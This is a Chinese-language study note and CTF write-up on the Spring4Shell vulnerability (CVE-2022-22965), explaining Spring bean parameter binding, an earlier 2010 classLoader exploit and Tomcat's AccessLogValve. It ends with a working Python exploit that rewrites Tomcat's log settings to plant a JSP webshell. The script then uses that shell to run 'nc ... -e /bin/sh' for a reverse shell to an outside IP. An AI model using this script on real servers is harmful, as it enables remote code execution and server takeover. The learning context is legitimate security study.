目录

原理概览

漏洞简述

Tomcat AccessLogValve 和 access_log

例题:


原理概览

spring框架在传参的时候会与对应实体类自动参数绑定,通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法,通过反射机制最终获取tomcat的日志配置成员属性,通过set方法,修改目录、内容等属性成员,达到任意文件写入的目的。

漏洞简述

bean的四个特点:
1.所有属性均为private
2.提供默认的构造方法
3.提供getter和setter方法来操作属性
4.实现Serializable接口

SpringIoC的参数绑定:
当控制器方法接收参数为一个bean时,提交参数,会调用bean的setter方法
不仅可以对控制器参数中的bean属性赋值,还可以对属性的属性进行赋值
例如:
password=123&username=Z3r4y&card.cid=123456

user.getCard.setCid="123456"
user.setUsername="Z3r4y"
user.setPassword="123"

拓展
2010年,爆出CVE,通过内省机制,强制给bean赋值拿到classLoader,通过URL属性远程标签重写,实现rce
通过bean对象的内省机制,可以拿到class对象,拿到classLoader,然后就可以加载恶意类
http://localhost:8080/user?class.classLoader.URLs[0]=jar:http://127.0.0.1:8888/spring-jar.jar!/

修补
Tomcat的修补方式:
检查getter方法时,拿到的属性是classLoader就直接卡死报错
Apache的修补方法:
针对getURLS这个方法,将返回值改为clone,非同一个对象

时间过了7年,在2017年
java迎来了1.9版本,引入了Module机制
user.getClass().getModule().getClassLoader()
这个漏洞就开始存在了,一直在野利用

时间又过了5年,到了2022年
这个漏洞终于浮出水面,新加入的特性没有兼容旧的漏洞修补,造成漏洞利用的绕过

如果配合org.apache.catalina.valves.AccessLogValve类的⽇志参数值,可以直接将恶意代码写⼊服务器,例如
写⼊shell.jsp作为webshell后⻔,从⽽实现远程代码执⾏。

Tomcat AccessLogValve 和 access_log


Tomcat的 Valve ⽤于处理请求和响应,通过组合了多个 Valve 的 Pipeline ,来实现按次序对请求和响应
进⾏⼀系列的处理。其中 AccessLogValve ⽤来记录访问⽇志access_log。Tomcat的 server.xml 中默认
配置了 AccessLogValve ,所有部署在Tomcat中的Web应⽤均会执⾏该 Valve ,内容如下:

参数含义:
- directory:access_log⽂件输出⽬录。

- prefix:access_log⽂件名前缀。

- pattern:access_log⽂件内容格式。

- suffix:access_log⽂件名后缀。

- fileDateFormat:access_log⽂件名⽇期后缀,默认为 .yyyy-MM-dd 。

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t &quot;%r&quot; %s %b" />

例题:

web101

import requests
import time



url = "http://2cc61a3d-98f6-4c62-b3f2-d3c8d93504f5.challenges.ctfer.com:8080/"

local_addr="124.222.136.33"
local_port="1337"

def get_shell():
    header={
        "cmd":"<%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>"
    }

    requests.get(headers=header,url=url+"?"+"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=")

    print("请等待getShell")
    time.sleep(2)

    response = requests.get(url=url+"shell.jsp?a=nc "+local_addr+" "+local_port+" -e /bin/sh")

    if "Process" in response.text:
        print("已经成功反弹")
    else:
        print("反弹失败"+response.text)


if __name__ == '__main__':
    get_shell()

【Web】Spring rce CVE-2022-22965漏洞复现学习笔记-LMLPHP

成功反弹shell

【Web】Spring rce CVE-2022-22965漏洞复现学习笔记-LMLPHP

02-09 04:11